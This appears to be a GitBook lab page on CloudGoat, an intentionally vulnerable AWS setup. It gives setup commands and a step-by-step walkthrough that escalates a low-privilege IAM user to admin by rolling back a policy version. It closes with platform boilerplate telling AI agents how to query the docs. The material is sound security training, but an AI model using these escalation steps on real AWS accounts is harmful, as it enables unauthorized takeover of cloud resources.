> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/labs/cloudgoat-walkthroughs.md).

# CloudGoat Walkthroughs

CloudGoat is a "Vulnerable by Design" AWS deployment tool by Rhino Security Labs. Use it to practice in a real AWS account safely.

## Setup

```bash
git clone https://github.com/RhinoSecurityLabs/cloudgoat
cd cloudgoat
pip3 install -r requirements.txt

# Configure with your personal AWS account
./cloudgoat.py config profile
./cloudgoat.py config whitelist --auto  # whitelist your IP
```

## Available Scenarios

| Scenario                    | Covers                                 | Module      |
| --------------------------- | -------------------------------------- | ----------- |
| `iam_privesc_by_rollback`   | IAM policy version rollback escalation | 01-iam      |
| `cloud_breach_s3`           | S3 public access + role chaining       | 02-s3       |
| `ec2_ssrf`                  | SSRF → EC2 metadata → privesc          | 03-ec2-ssrf |
| `lambda_privesc`            | Lambda + PassRole escalation           | 04-lambda   |
| `iam_privesc_by_attachment` | AttachUserPolicy escalation            | 01-iam      |
| `codebuild_secrets`         | Secrets in CodeBuild env vars          | 05-secrets  |
| `rce_web_app`               | Web app RCE → AWS creds                | 03-ec2-ssrf |

## Running a Scenario

```bash
# Create the vulnerable environment
./cloudgoat.py create iam_privesc_by_rollback

# CloudGoat gives you starting credentials — use those
aws configure --profile cloudgoat-start
# Enter the provided key/secret

# When done, tear it down
./cloudgoat.py destroy iam_privesc_by_rollback
```

## Walkthrough: iam\_privesc\_by\_rollback

**Objective:** Start as a low-priv user, become admin.

```bash
# Step 1: Check who you are
aws sts get-caller-identity --profile cloudgoat-start

# Step 2: Check your permissions
aws iam list-attached-user-policies --user-name <YOUR-USERNAME> --profile cloudgoat-start

# Step 3: List policy versions (look for old versions with more access)
aws iam list-policy-versions \
  --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy \
  --profile cloudgoat-start

# Step 4: Read the old versions
aws iam get-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy \
  --version-id v1 \
  --profile cloudgoat-start

# Step 5: Set the permissive old version as default
aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy \
  --version-id v1 \
  --profile cloudgoat-start

# Step 6: Verify you're now admin
aws iam list-users --profile cloudgoat-start  # should work now
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/labs/cloudgoat-walkthroughs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
